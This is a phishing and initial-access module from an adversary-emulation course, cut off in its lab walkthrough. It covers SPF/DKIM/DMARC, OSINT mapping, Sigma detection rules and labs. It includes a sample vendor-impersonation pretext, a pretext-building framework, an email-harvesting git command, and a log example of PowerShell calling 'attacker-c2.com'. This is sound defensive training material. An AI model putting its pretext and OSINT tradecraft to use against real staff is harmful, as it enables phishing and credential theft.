Operation Cedar Lattice, Phase 10. The prior nine phases built the full post-exploitation playbook: payload development, EDR evasion, C2 infrastructure, cloud lateral movement. Now the engagement plan asks the hardest question defenders face: how did the attacker get in at all? For Meridian Freight International, the answer — as it is in the majority of real-world breaches — is email. Phase 10 covers the adversary-emulation tradecraft behind FIN-LATTICE's initial-access campaigns, with a clinical focus on email authentication analysis and OSINT-to-pretext mapping, both from the attacker's planning perspective and from the defender's detection engineering perspective.
Safety (non-negotiable). This phase contains no working phishing tools, no credential harvesters, no email-sending infrastructure, and no weaponized attachments. Every offensive concept is paired with its detection. The labs are analyzers and detectors over synthetic metadata — they score email headers and map OSINT findings; they do not send email or perform live reconnaissance.
Why This Phase Exists
Social engineering — specifically spearphishing — is the number-one initial-access vector in enterprise breaches. Mandiant's M-Trends data consistently shows phishing driving 30–40 % of intrusions, and MITRE ATT&CK T1566 (Phishing) is the most-observed initial-access technique across threat-actor reporting. Despite decades of security awareness training, email remains effective because it targets the trust model, not a software vulnerability: a well-crafted pretext exploits organizational context, urgency, and authority rather than an unpatched CVE.
Understanding how SPF, DKIM, and DMARC work — and how each can be passed, bypassed, or misconfigured — is required knowledge for anyone doing detection engineering, red teaming, or incident response. Building the OSINT-to-pretext pipeline from structured data is what separates a principal-level engagement from a generic phishing run.
Learning Objectives
- Explain how SPF, DKIM, and DMARC interact, and describe the precise conditions under which each authentication check passes, fails, or is bypassed.
- Parse raw email header authentication results and compute a structured phishing-risk score based on SPF result, DKIM result, DMARC policy enforcement, domain alignment, and reply-to anomalies.
- Describe the OSINT methodology for building a spearphishing pretext: org-chart discovery, tech-stack enumeration from job postings, email-pattern inference from public sources, and subdomain surface mapping.
- Map ATT&CK T1566.001 (spearphishing attachment) and T1566.002 (spearphishing link) to concrete detection artifacts: email gateway logs, EDR process-tree telemetry (Sysmon EID 1, EID 11, EID 3), and user-report pipeline events.
- Construct and interpret a DMARC aggregate report (rua) and explain how it helps defenders detect domain abuse at scale.
- Articulate the detection engineering implications of DMARC
p=noneon a target domain. - Given a synthetic OSINT profile, identify vendor-impersonation pretext opportunities and enumerate the detection capabilities the target organization likely has based on its technology stack.
Cedar Lattice Artifact
Phase 10 Engagement Note — FIN-LATTICE TTPs
FIN-LATTICE's prior campaigns (INDUSTROYER2 reporting, Mandiant UNC4577 overlap) show a consistent initial-access pattern: OSINT-driven vendor impersonation pretext delivered via a domain that passes SPF but fails DMARC alignment, targeting finance and operations staff at freight and logistics companies. The pretext typically impersonates a Salesforce or SAP account team contact, references a real contract renewal date harvested from LinkedIn posts, and links to a credential-harvesting page on a lookalike domain.
Meridian Freight's DMARC record is
p=none— aggregate reports enabled, but zero enforcement. This means any message that passes SPF (even from an attacker-controlled server on the SPF record'sinclude:chain) will be delivered regardless of DKIM failure or domain mismatch. Detection is entirely dependent on the email gateway's ML scoring and the user-report pipeline.
Labs
| Lab | Description | Artifact |
|---|---|---|
| Lab 01 — Email Auth Analyzer | Parse email header authentication fields; compute SPF/DKIM/DMARC analysis and weighted phishing-risk score | Email header risk scorer |
| Lab 02 — OSINT Surface Mapper | Map OSINT findings (subdomains, GitHub emails, job postings, tech stack) to pretext opportunities and detection notes | OSINT-to-pretext mapper |
How to Run
# Lab 01 — run tests against stubs (should fail with NotImplementedError)
cd lab-01-email-auth-analyzer
pytest -q
# Lab 01 — run tests against reference solution
LAB_MODULE=solution pytest -q
# Lab 02 — run tests against stubs
cd ../lab-02-osint-surface-mapper
pytest -q
# Lab 02 — run tests against reference solution
LAB_MODULE=solution pytest -q
« Phase 09 — Cloud & Container Red Team
WARMUP — Social Engineering & Initial Access
Operation Cedar Lattice, Phase 10.
Before touching the labs, read every chapter in sequence. This guide takes you from the
statistical reality of why email is still the dominant initial-access vector through the
full email authentication stack, OSINT methodology, pretext construction, blue-team detection
engineering, and the ATT&CK technique map. The lab walkthrough at the end shows exactly what
each lab tests and what the solution must implement.
Table of Contents
- Chapter 1: Social Engineering as Initial Access
- Chapter 2: Email Authentication Stack (SPF / DKIM / DMARC)
- Chapter 3: OSINT Methodology
- Chapter 4: Pretexting and Pretext Construction
- Chapter 5: Detection from the Blue Team Side
- Chapter 6: Initial Access Techniques (ATT&CK)
- Chapter 7: Misconceptions
- Lab Walkthrough
- Success Criteria
- Common Mistakes
- Interview Q&A
- References
Chapter 1: Social Engineering as Initial Access
1.1 The Numbers
Every major incident-response retrospective for the last decade tells the same story. Mandiant M-Trends 2023 reports phishing as the initial infection vector in approximately 36 % of intrusions across all industries — the single largest category, ahead of exploitation of public-facing applications and stolen credentials. Verizon DBIR data shows consistent 25–30 % attribution to phishing across thousands of breach records annually. CISA advisories for nation-state actors (APT29, APT41, Lazarus Group) invariably lead with spearphishing as the entry mechanism.
Why? Because defenders have become extremely good at patching software vulnerabilities. Mean time to patch for critical CVEs has compressed from weeks to days at security-mature organizations. Email exploits trust, not software. There is no patch for a well-crafted pretext.
1.2 ATT&CK T1566 Family
MITRE ATT&CK categorizes phishing under Tactic: Initial Access, with three sub-techniques:
- T1566.001 — Spearphishing Attachment: payload delivered as an attachment (macro-enabled Office document, PDF with embedded JS, ISO with LNK dropper, HTML smuggling).
- T1566.002 — Spearphishing Link: payload delivered as a URL (credential harvesting page, drive-by download, OAuth phishing).
- T1566.003 — Spearphishing via Service: payload delivered through a trusted third-party service (SharePoint link, OneDrive share, Dropbox, LinkedIn InMail, Teams message).
FIN-LATTICE primarily uses T1566.001 and T1566.002 in combination: the link leads to a landing page that serves either a credential harvester or an HTML-smuggled payload.
1.3 The Trust Model Attack
Modern email security stacks layer multiple controls:
- Email authentication: SPF, DKIM, DMARC — verify the sending domain's authorization.
- Gateway filtering: ML-based phishing scoring, URL rewriting, attachment sandboxing (Proofpoint TAP, Mimecast, Microsoft Defender for Office 365).
- User training: phishing simulation programs, user-report buttons.
- Endpoint controls: EDR monitoring child processes of mail clients, macro policy.
The fundamental attack surface is that all of these are probabilistic, not deterministic.
An email that passes SPF, passes DKIM, and reaches the inbox is not safe. It means the
sending domain is authorized by the domain owner — but the domain owner could be the attacker
who registered meridian-freight-intl.com last Tuesday and added themselves to the SPF record.
The trust model attack exploits the gap between authentication and legitimacy: authentication proves the server was authorized to send; it says nothing about whether the pretext is truthful or the link is benign.
1.4 Why Email Persists as the Most Effective Vector
- Universal reach: every employee has email; no other channel reaches 100 % of the org.
- Context richness: email carries sender name, subject, body, attachments, links — enough surface to craft a highly convincing pretext.
- Action-oriented: email is a task-execution medium. Humans are conditioned to do things when they receive email (click, download, approve, reply with credentials).
- Asynchronous: the attacker does not need to be present at the moment of interaction. A single well-crafted message can sit in an inbox until the target is distracted or rushed.
- Authentication complexity: SPF/DKIM/DMARC have lookup limits, alignment subtleties, and policy gaps that even experienced administrators misconfigure.
Chapter 2: Email Authentication Stack (SPF / DKIM / DMARC)
2.1 SPF — Sender Policy Framework (RFC 7208)
What it is. SPF is a DNS TXT record published by the domain owner that lists which IP addresses or mail servers are authorized to send email claiming to be from that domain. The receiving mail server looks up the record and checks whether the sending server's IP is listed.
Record syntax. SPF records are TXT records at the root of the domain:
v=spf1 include:mailgun.org include:_spf.google.com ip4:203.0.113.10 -all
Mechanisms:
include:domain— recursively include the SPF record ofdomain.ip4:cidr/ip6:cidr— authorize specific IP ranges.a— authorize the domain's own A/AAAA records.mx— authorize the domain's MX servers.all— catch-all, applied when no earlier mechanism matches.
Qualifiers:
+all(default) — pass (any server passes; this is a misconfiguration).-all— hard fail (any unlisted server fails; email should be rejected).~all— soft fail (unlisted server gets asoftfail; typically delivered with a warning header, not rejected).?all— neutral (no policy statement; pass through).
SPF result values (returned in the Authentication-Results header):
pass— sending IP is authorized.fail— sending IP explicitly unauthorized (-allmatched).softfail— sending IP unauthorized under soft policy (~allmatched).neutral— domain owner makes no assertion.none— no SPF record found.permerror— permanent error (invalid record syntax, too many DNS lookups — the 10-lookup limit exists because SPFinclude:chains are recursive and could be used as a DNS amplification vector).temperror— transient DNS failure.
What SPF checks and what it does not. SPF checks the MAIL FROM (envelope sender,
also called the RFC5321.MailFrom or Return-Path). It does NOT check the From: header
visible to the user (RFC5322.From). This distinction is critical: an attacker can pass SPF
on the envelope sender (evil@attacker.com) while displaying From: boss@legitimate.com
to the recipient. DMARC closes this gap through alignment.
SPF alignment is the requirement that the domain in the MAIL FROM matches the domain in the From: header. DMARC enforces alignment; SPF alone does not.
DNS record example — Meridian Freight SPF:
meridianfreight.com. 300 IN TXT "v=spf1 include:_spf.google.com include:mailgun.org ~all"
This is a soft-fail policy. Unlisted senders get softfail, which most gateways deliver
(not reject). A red team that controls a server within mailgun.org's ranges passes SPF
completely — no anomaly, no alert from SPF alone.
2.2 DKIM — DomainKeys Identified Mail (RFC 6376)
What it is. DKIM adds a cryptographic signature to email. The sending mail server signs selected headers and the body using a private key; the receiving server retrieves the public key from DNS and verifies the signature. A valid DKIM signature proves that the email headers and body were not altered in transit and that the signer controlled the DNS record at signing time.
How it works technically. The signing algorithm (typically rsa-sha256) computes a hash
over the canonicalized selected headers (defined by the h= tag) plus the body. The
signature is placed in the DKIM-Signature header.
DNS key record — published at selector._domainkey.domain:
mail._domainkey.meridianfreight.com. 300 IN TXT (
"v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQ"
"KBgQC2...rest-of-base64-public-key...AQAB"
)
DKIM-Signature header fields:
v=1— DKIM version.a=rsa-sha256— algorithm.d=meridianfreight.com— signing domain (thed=tag is what DMARC checks for alignment).s=mail— selector (maps tomail._domainkey.meridianfreight.com).h=From:To:Subject:Date:Message-ID— headers included in the signature.bh=— base64 hash of the canonicalized body.b=— base64 signature over the selected headers and body hash.
Why signing only From + Subject is weak. If the h= tag only covers From and
Subject, an attacker can inject additional headers (e.g., a forged Reply-To) that are
visible to the user without invalidating the signature. Best practice is to include all
security-relevant headers: From, To, Subject, Date, Message-ID, Reply-To,
Content-Type.
DKIM result values:
pass— signature verified.fail— signature invalid (content modified or wrong key).neutral— no signature.none— no signature found.policy— signature present but violates domain policy.temperror/permerror— transient or permanent errors.
DKIM domain alignment. The d= tag in the DKIM-Signature must match (or be an
organizational domain match of) the From: header domain. This is what DMARC checks. An
attacker who signs email with d=attacker.com passes DKIM but fails DMARC alignment against
From: finance@meridianfreight.com.
2.3 DMARC — Domain-based Message Authentication, Reporting and Conformance (RFC 7489)
What it is. DMARC builds on SPF and DKIM by adding:
- Policy: what should receivers do with messages that fail authentication?
- Alignment: should the authenticated domain match the From: header exactly?
- Reporting: send aggregate (rua) and forensic (ruf) reports back to the domain owner.
DNS record example:
_dmarc.meridianfreight.com. 300 IN TXT (
"v=DMARC1; p=none; rua=mailto:dmarc-reports@meridianfreight.com;"
"ruf=mailto:forensics@meridianfreight.com; fo=1; adkim=r; aspf=r"
)
Policy values (p=):
none— monitor only. No action taken on failing messages. Reports still sent. This is where most organizations start during DMARC rollout. It means an attacker can send email that fails DMARC and it will be delivered normally. Zero enforcement.quarantine— messages that fail DMARC are moved to the spam/junk folder.reject— messages that fail DMARC are rejected at the SMTP level (never delivered).
Subdomain policy (sp=): separate policy for subdomains. If omitted, subdomains inherit
p=. An attacker who registers billing.meridianfreight.com as a lookalike... wait, that
requires DNS control. More relevant: a legitimate subdomain with no SPF coverage can be used
to send email that inherits the parent's p=none and gets delivered.
Aggregate reports (rua). The receiving mail server sends XML reports to the address in
rua=. Each report covers a 24-hour window and contains: source IP, count of messages, SPF
result, DKIM result, DMARC disposition. This is the most underutilized detection artifact in
enterprise email security. A DMARC aggregate report tells you exactly who is sending email
claiming to be your domain, which passes and which fails, at scale.
Forensic reports (ruf). Full message metadata (headers, sometimes body) for individual failed messages. Often disabled due to privacy concerns.
DMARC alignment modes:
- Relaxed alignment (
adkim=r,aspf=r, default): the organizational domain must match.mail.meridianfreight.comaligns withmeridianfreight.combecause they share the same registered domain. This is the most common configuration. - Strict alignment (
adkim=s,aspf=s): the domain must match exactly.mail.meridianfreight.comdoes NOT align withmeridianfreight.comunder strict.
DMARC pass logic. DMARC passes if at least one of the following is true:
- SPF passes AND SPF alignment passes (MAIL FROM domain aligns with From: domain).
- DKIM passes AND DKIM alignment passes (d= tag aligns with From: domain).
An attacker who controls a server on the SPF include: chain can pass SPF, pass SPF
alignment, and therefore pass DMARC — even without a valid DKIM signature. This is why
p=none with a permissive SPF record is a high-risk configuration.
DNS record examples for a well-configured domain:
# Tight SPF — only authorized senders, hard fail
meridianfreight.com. IN TXT "v=spf1 include:_spf.google.com -all"
# DKIM key
mail._domainkey.meridianfreight.com. IN TXT "v=DKIM1; k=rsa; p=<pubkey>"
# DMARC at quarantine — enforce!
_dmarc.meridianfreight.com. IN TXT "v=DMARC1; p=quarantine; rua=mailto:dmarc@meridianfreight.com; adkim=r; aspf=r"
Chapter 3: OSINT Methodology
3.1 The OSINT Pipeline
Effective spearphishing is not random. It is built from a structured reconnaissance pipeline:
Passive OSINT → Org Model → Email Pattern → Tech Stack → Pretext Construction
Each stage feeds the next. The output of passive OSINT is an organizational model (who works there, what they use, what they're working on). The email pattern turns names into targetable addresses. The tech stack shapes the pretext (you impersonate the vendor they use).
3.2 LinkedIn for Organizational Structure
LinkedIn is the primary source for:
- Employee names and roles: building a realistic org chart (who reports to whom, who is in Finance, who is an IT admin).
- Tenure data: long-tenure employees are higher-trust targets; new employees are easier to social-engineer because they don't yet know "how things work here."
- Job postings: tech-stack signals. A posting for "Salesforce Administrator" tells you the org runs Salesforce CRM. A "CrowdStrike Engineer" posting tells you the org has deployed a specific EDR — and what detection capabilities you are operating against.
3.3 GitHub for Email Leaks
Git commits embed the author's email address in metadata. The command:
git log --format='%ae' | sort -u
extracts all unique committer email addresses from a repository. For a public GitHub organization, this is a goldmine: real employee email addresses, including the format (first.last, flast, firstlast), and sometimes personal Gmail addresses mixed with corporate addresses (correlation target).
The key insight is email format inference: if you see j.smith@meridianfreight.com and
a.jones@meridianfreight.com, the pattern is initial.last@domain. You now have a
templated attack surface for every name on the LinkedIn org chart.
3.4 Infrastructure Enumeration
Subdomain enumeration (via certificate transparency logs, passive DNS, DNS brute force) reveals the attack surface of the organization's infrastructure:
vpn.meridianfreight.com→ VPN endpoint (credential stuffing, password spray target).admin.meridianfreight.com→ Admin panel (potentially unauthenticated or weak auth).staging.meridianfreight.com→ Staging environment (often weaker controls, real data).gitlab.meridianfreight.com→ Source code (may expose internal tools, secrets in commits).jenkins.meridianfreight.com→ CI/CD (pipeline poisoning target).confluence.meridianfreight.com→ Wiki (may expose architecture diagrams, runbooks).
This surface map informs both the initial-access pretext (link the target to portal. or
remote.) and the post-exploitation roadmap.
3.5 Breach Data (Concept Only)
Historical breach databases (Have I Been Pwned, private collections) may contain credentials for employees' personal accounts that have been reused on corporate VPN or SSO. This is credential stuffing territory — out of scope for Phase 10 (that is Phase 05's domain) but relevant to understanding why OSINT-driven initial access is so effective in combination with other techniques.
3.6 The OSINT → Pretext Pipeline
1. LinkedIn: 20 employee names, their roles, their manager chain
2. GitHub: email pattern = first.last@meridianfreight.com
3. LinkedIn job posting: "Seeking Salesforce Administrator for CRM renewal project"
4. Pretext: "Hi [Name], I'm Alex Chen from the Salesforce renewal team.
Your contract #MF-2024-0891 comes up for renewal next Friday.
Please review the updated pricing at [link]."
5. Lookalike domain: salesforce-renewal-portal.com (registered last week, passes SPF)
The power of context-rich pretexts is that they defeat the user's primary heuristic: "Does this make sense for me to receive?" Yes, they do use Salesforce. Yes, there is a renewal cycle. Yes, the sender looks like an account manager.
Chapter 4: Pretexting and Pretext Construction
4.1 What Is a Pretext?
A pretext is a fabricated narrative that establishes a plausible reason for the target to take the desired action (click a link, open an attachment, provide credentials, wire money). A good pretext answers three questions before the target's skepticism can ask them:
- Who are you? — a plausible, verifiable-sounding identity.
- Why are you contacting me? — a reason the target can connect to their real work.
- Why now? — urgency that short-circuits deliberation.
4.2 High-Yield Pretext Categories
Vendor impersonation. The most effective category because it leverages an existing trust relationship. If the target organization uses Salesforce, an email from "Salesforce account team" impersonating a renewal manager is almost impossible for a non-technical employee to validate without making a phone call (which they almost never do).
Common vendor impersonation targets:
Salesforce→ account team / renewal manager (CRM is universally used).AWS→ solutions architect / migration specialist (cloud bills arrive regularly).Microsoft / Azure→ M365 licensing (everyone has Microsoft licenses).ServiceNow→ professional services (IT orgs run ITSM).Okta→ identity team (high-value because they control SSO).CrowdStrike→ SE / renewal (EDR renewal gives urgency + IT-team targeting).
IT helpdesk impersonation. "Your account will be locked in 24 hours unless you verify your credentials." Targets non-technical employees who have no reason to question IT communications. Effective against large orgs where the IT helpdesk is faceless.
Executive assistant pretext. "I'm emailing on behalf of [CFO name from LinkedIn]. She needs the attached invoice approved today before she leaves for the conference." This combines authority (the CFO) with urgency (today) and a plausible context (conference = time pressure).
4.3 Pretext Construction Framework
A well-constructed pretext has five components:
- Identity anchor: a named individual (not a generic "support team") with a believable title, ideally one that exists in the vendor's real org structure.
- Organizational context: a reference to something the target's organization actually does (the Salesforce instance, the AWS migration, the ITSM project).
- Temporal urgency: a deadline, an expiring offer, a compliance requirement, a conference departure. Urgency prevents the target from pausing to verify.
- Low-friction action: the requested action must be small and plausible. "Click to review your invoice" is easier than "log into this system and fill out a form."
- Plausible follow-up path: the pretext should anticipate questions. If the target replies asking for more information, the attacker must have a response that doesn't break the narrative.
4.4 Why Context-Rich Beats Generic
A generic phishing email ("Your account has been suspended. Click here.") fails because:
- It applies to everyone, so it applies to no one specifically.
- It has no organizational context the target can connect to their work.
- Modern gateways score generic templates as high-risk.
A context-rich pretext passes gateway ML scoring because:
- It references specific internal tooling (Salesforce, AWS).
- It has realistic sender names and titles.
- The body text is low-entropy and conversational, not template-like.
- The domain passed SPF and (in
p=noneenvironments) DMARC does not reject.
Chapter 5: Detection from the Blue Team Side
5.1 Email Gateway Controls
The email gateway (Proofpoint, Mimecast, Microsoft Defender for Office 365) is the first detection layer. Key detection signals:
- SPF/DKIM/DMARC results: authentication headers are logged for every message. A message
arriving with
spf=failanddmarc=failon a domain withp=noneis delivered but should generate an alert. Detection rule:SPF result = fail AND DMARC policy = none → HIGH RISK. - Lookalike domain detection: edit-distance algorithms (Levenshtein), homoglyph substitution (rn vs m), and IDN (internationalized domain name) detection catch most typosquat domains.
- ML-based phishing scoring: modern gateways run large-scale ML models trained on
billions of messages. They score semantic content, link reputation, attachment properties,
and header anomalies. The score is usually exposed as a header (
X-Phishing-Score,X-MS-Exchange-Organization-SCL, etc.). - URL rewriting: gateway rewrites all links through a click-time reputation check. Even if a link is clean at delivery time, reputation at click time (after the attacker activates the payload) will block it.
- Attachment sandboxing: macro-enabled documents, executables, and archives are detonated in a sandbox environment. Detection: macro execution, network callbacks, file-system writes.
5.2 DMARC Aggregate Report Analysis
DMARC rua= reports arrive as XML files, typically compressed with gzip. A minimal
aggregate report entry looks like this (conceptual structure):
<record>
<row>
<source_ip>203.0.113.50</source_ip>
<count>47</count>
<policy_evaluated>
<disposition>none</disposition>
<dkim>fail</dkim>
<spf>pass</spf>
</policy_evaluated>
</row>
<identifiers>
<header_from>meridianfreight.com</header_from>
</identifiers>
<auth_results>
<spf>
<domain>spf-domain.attacker.com</domain>
<result>pass</result>
</spf>
<dkim>
<domain>attacker.com</domain>
<result>fail</result>
</dkim>
</auth_results>
</record>
This record tells a defender: 47 messages from IP 203.0.113.50 claimed to be from
meridianfreight.com. SPF passed (but on a different domain — spf-domain.attacker.com).
DKIM failed. DMARC policy is none so the messages were delivered. This is a phishing
campaign in progress. The domain owner can only see it because they set up rua=.
Detection engineering: parse DMARC aggregate reports daily. Alert on:
- New source IPs claiming your domain with
dkim=fail. - SPF pass on a non-owned domain (alignment failure with pass).
- Volume spikes from new source IPs.
5.3 Endpoint Detection — Process Tree Analysis
When a user opens a phishing attachment (macro-enabled Word document), the EDR records the process tree. Key Sysmon events to monitor:
Sysmon EID 1 — Process Create:
winword.exe → cmd.exe
winword.exe → powershell.exe
winword.exe → wscript.exe
excel.exe → mshta.exe
Any child process spawned by an Office application that is a scripting engine or shell is a high-confidence macro execution indicator.
Sysmon EID 11 — File Created:
winword.exe creates: %TEMP%\*.exe
winword.exe creates: %APPDATA%\*.dll
File creation from an Office process in temp or appdata directories indicates a dropper.
Sysmon EID 3 — Network Connection:
winword.exe connects to: 203.0.113.50:443
powershell.exe connects to: attacker-c2.com:80
Network callbacks from Office processes or newly-spawned child processes indicate payload staging or C2 check-in.
5.4 User-Report Pipeline
The highest-signal detection for phishing is a user report. Every phishing simulation study shows that even in the worst organizations, at least 5–10 % of recipients report rather than click. In security-mature orgs this can be 60–80 %. A user-report pipeline should:
- Provide a one-click report button (Outlook add-in, Gmail extension).
- Automatically extract headers from reported messages and cross-correlate against other inboxes (did anyone else get this sender?).
- Auto-pull similar messages from all inboxes when a report is confirmed malicious.
- Feed confirmed phish back into gateway ML training data.
5.5 Detection Engineering: SPF Fail + DMARC Unenforced
The highest-value detection rule for initial-access phishing is:
IF spf_result IN ('fail', 'softfail', 'none')
AND dmarc_policy == 'none'
AND dkim_result != 'pass'
THEN alert(CRITICAL, "Unauthenticated message on unenforced domain")
This covers the scenario where an attacker has no legitimate access to the domain's email
infrastructure but can still deliver messages because the domain owner has not progressed
their DMARC to quarantine or reject.
Chapter 6: Initial Access Techniques (ATT&CK)
6.1 T1566.001 — Spearphishing Attachment
How it works. The attacker delivers a malicious file as an email attachment. Common
formats: macro-enabled .docm/.xlsm, .pdf with embedded JavaScript, .iso containing
a .lnk (LNK dropper), .html with Base64-encoded JavaScript (HTML smuggling), or a
.zip with a .js or .vbs dropper.
Why ISO/LNK became popular (2022-2023). Microsoft disabled Office macros from internet- sourced files by default in 2022. Attackers pivoted to ISO archives (which bypass Mark of the Web on Windows) containing LNK files that spawn a scripting engine directly.
Detection artifacts:
- Email gateway: attachment file type, MIME type, sandbox verdict.
- EDR: Office application spawning a child shell/scripting process.
- Sysmon EID 1:
winword.exe → cmd.exeorexcel.exe → powershell.exe. - Sysmon EID 11: Office writing executable to
%TEMP%. - Sysmon EID 3: Office process or child making external network connection.
Sigma rule stub:
title: Office Application Spawning Scripting Engine
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects a Microsoft Office process spawning a command shell or scripting engine
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\winword.exe'
- '\excel.exe'
- '\powerpnt.exe'
- '\outlook.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
condition: selection
level: high
tags:
- attack.initial_access
- attack.t1566.001
6.2 T1566.002 — Spearphishing Link
How it works. The attachment is replaced with a URL. The link leads to:
- A credential harvesting page that mimics the target org's SSO (Microsoft login, Okta, custom portal).
- A drive-by download that serves a payload based on user-agent fingerprinting.
- An OAuth phishing page that requests consent to a malicious application.
- A WebDAV share containing a malicious file that Windows Explorer can auto-open.
Detection artifacts:
- Email gateway URL reputation check (at delivery AND at click time).
- Web proxy: category block on newly-registered domains, reputation block.
- EDR: browser spawning a file download, browser spawning a script process.
- Sysmon EID 3: browser connecting to uncategorized/new domain.
- DNS: query for newly-registered domain from a workstation.
Sigma rule stub:
title: Browser Connection to Newly Registered Domain
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects browser process making DNS query or TCP connection to domain registered
within the last 30 days (requires threat-intel enrichment)
logsource:
category: network_connection
product: windows
detection:
selection:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
Initiated: 'true'
filter_known:
DestinationHostname|contains:
- '.microsoft.com'
- '.google.com'
- '.amazon.com'
condition: selection and not filter_known
level: medium
tags:
- attack.initial_access
- attack.t1566.002
6.3 T1195 — Supply Chain Compromise
How it works. Rather than phishing a direct employee, the attacker compromises a trusted third party (software vendor, managed service provider) and uses that trust relationship as initial access. This is how SolarWinds (SUNBURST) worked: the trojanized Orion update was delivered to customers who had explicitly trusted the SolarWinds update mechanism.
Detection artifacts:
- Software integrity monitoring (hash of installed binaries vs. vendor-published hashes).
- Certificate pinning on software updates.
- EDR: new unsigned binary from a software update process with unusual network behavior.
- SIEM: alert on new network connections from software that historically had none.
Sigma rule stub:
title: Unexpected Network Connection from Update Process
id: c3d4e5f6-a7b8-9012-cdef-012345678902
status: experimental
logsource:
category: network_connection
product: windows
detection:
selection:
Image|contains: 'Update'
Initiated: 'true'
filter_expected:
DestinationHostname|endswith:
- 'windowsupdate.com'
- 'adobe.com'
condition: selection and not filter_expected
level: medium
tags:
- attack.initial_access
- attack.t1195
6.4 T1189 — Drive-by Compromise
How it works. The target visits a compromised or attacker-controlled website. The page serves a browser exploit or uses a social engineering prompt to get the user to execute something (fake CAPTCHA that copies clipboard and prompts PowerShell paste — the "ClickFix" technique observed in 2024-2025 campaigns).
Detection artifacts:
- Web proxy: visit to compromised category or newly-registered domain.
- EDR: browser spawning PowerShell or cmd.
- Sysmon EID 1:
chrome.exe → powershell.exe.
6.5 T1078 — Valid Accounts
How it works. Attacker obtains valid credentials through phishing (credential harvest), password spraying, breach data, or OSINT inference, then authenticates using those credentials. No exploit required — the attacker looks like a legitimate user.
Detection artifacts:
- Identity provider: login from new geographic location or new ASN.
- IdP: login outside business hours for a user with no travel record.
- IdP: MFA fatigue attack (repeated push notifications, user eventually approves).
- SIEM: impossible travel detection (two logins from geographically distant locations within a time window that makes travel impossible).
Chapter 7: Misconceptions
Misconception 1: "If SPF passes, the email is safe."
False. SPF only confirms the sending server was authorized by the envelope sender
domain — it says nothing about the From: header domain visible to the user, nothing about
message content, and nothing about the sending domain's legitimacy. An attacker who registers
meridian-freight-intl.com and publishes an SPF record passes SPF completely. DMARC with
enforcement is needed to close the alignment gap.
Misconception 2: "DMARC rejects phishing email."
False for the majority of domains. DMARC only rejects when p=reject. Most domains
remain at p=none indefinitely because moving to enforcement can break legitimate email
flows (mailing lists, forwarding, on-behalf-of sending). According to industry surveys,
fewer than 25 % of domains at DMARC p=reject. For a defender, discovering p=none means
the domain is essentially unenforced regardless of DMARC being deployed.
Misconception 3: "DKIM proves the email is from the claimed domain."
Partially true, frequently misunderstood. DKIM proves the email was signed by someone
who controls the private key for the d= tag's domain. It does NOT prove that d= domain
is the same as the From: header domain — that is DMARC alignment's job. An attacker can
produce a valid DKIM signature for d=attacker.com on an email with From: ceo@legit.com,
and DKIM alone will report pass.
Misconception 4: "User training eliminates phishing risk."
Demonstrably false. Phishing simulation programs consistently show that even after repeated training, some percentage of users will click on sufficiently convincing pretexts. The click rate reduces but never reaches zero. Security architecture must assume some users will be phished and focus on post-click controls (EDR, web proxy, MFA on all internal resources) rather than relying solely on user training.
Misconception 5: "A long DMARC aggregate report means I'm under attack."
Not necessarily. Large organizations send millions of emails from many sources (marketing
platforms, transactional email services, employee newsletters, partner systems). A DMARC
aggregate report with many source IPs and a mix of SPF/DKIM results is often just the
complexity of the organization's legitimate email ecosystem — not an attack. Defenders must
baseline normal sending patterns before they can detect anomalous ones. This is why p=none
is a useful starting point during DMARC adoption: it lets you see who is legitimately sending
on your behalf before you enforce a policy that might block them.
Misconception 6: "The SPF 10-lookup limit is a minor edge case."
False for complex enterprises. The SPF specification (RFC 7208) caps the number of DNS
lookups that a receiving server is required to perform during SPF evaluation at 10. Each
include:, a, mx, and redirect= mechanism may trigger additional lookups. Large
enterprises that include multiple cloud mail providers (mailgun.org, sendgrid.net,
_spf.google.com, salesforce.com, amazonses.com) can easily exceed 10, causing
permerror — which means SPF evaluation fails and the message may be treated as
unauthenticated. This is a common misconfiguration that breaks DMARC enforcement for
legitimate mail.
Misconception 7: "Phishing only targets employees without technical knowledge."
False. Some of the most successful spearphishing campaigns have targeted security engineers, executives, and incident responders. The OAuth phishing technique (sending a "Grant access to your account" prompt through a legitimate OAuth flow) is specifically designed to bypass technical users who know not to enter credentials on fake pages — the OAuth consent page IS on a legitimate provider's domain. Technical sophistication changes the attack method, not whether the attack succeeds.
Lab Walkthrough
Lab 01 — Email Auth Analyzer
What it builds. A function library that takes a dictionary of email header authentication fields and returns structured analysis with a weighted risk score.
Core functions to implement:
-
spf_analysis(header)— Returns{pass: bool, finding: str}.pass=Trueonly ifspf_result == 'pass'. The finding string explains the result. -
dkim_analysis(header)— Returns{pass: bool, finding: str, domain_match: bool}.domain_matchcompares the last two dot-separated parts ofdkim_domainandfrom_domain. Example:mail.example.com→ base =example.com. Emptydkim_domain→domain_match=False. -
dmarc_analysis(header)— Returns{enforced: bool, policy: str, finding: str}.enforced=Trueonly ifdmarc_policyisquarantineorreject. -
phish_risk_score(header)— Weighted integer score:+3if SPF result isfail,softfail,none,permerror, ortemperror.+3if DKIM result is notpass.+2if DMARC policy isnoneor missing.+4if DKIM passes butdkim_domainbase domain differs fromfrom_domainbase domain (subdomain spoof with cross-org DKIM).+3ifreply_to_domainis non-empty and its base domain differs fromfrom_domainbase domain.
-
analyze(header)— Runs all four analyses and returns{risk_score: int, risk_level: str, findings: list[str]}. Risk levels: LOW (0-3), MEDIUM (4-6), HIGH (7-10), CRITICAL (11+).
Test data walkthrough:
LEGIT: SPF pass, DKIM pass + domain match, DMARC reject, reply-to matches → score 0, LOW.PHISH: SPF fail (+3), DKIM fail (+3), DMARC none (+2), reply-to mismatch (+3) → 11, CRITICAL.SUBDOMAIN_SPOOF: SPF pass (0), DKIM pass but domain mismatch (+4), DMARC none (+2), reply-to mismatch (+3) → 9, HIGH.SOFTFAIL: SPF softfail (+3), DKIM pass (0), DMARC quarantine (0), no reply-to (0) → 3, LOW.
Lab 02 — OSINT Surface Mapper
What it builds. A function library that takes synthetic OSINT data about an organization and maps it to vendor-impersonation pretext opportunities, sensitive infrastructure, and expected detection capabilities.
Core functions to implement:
-
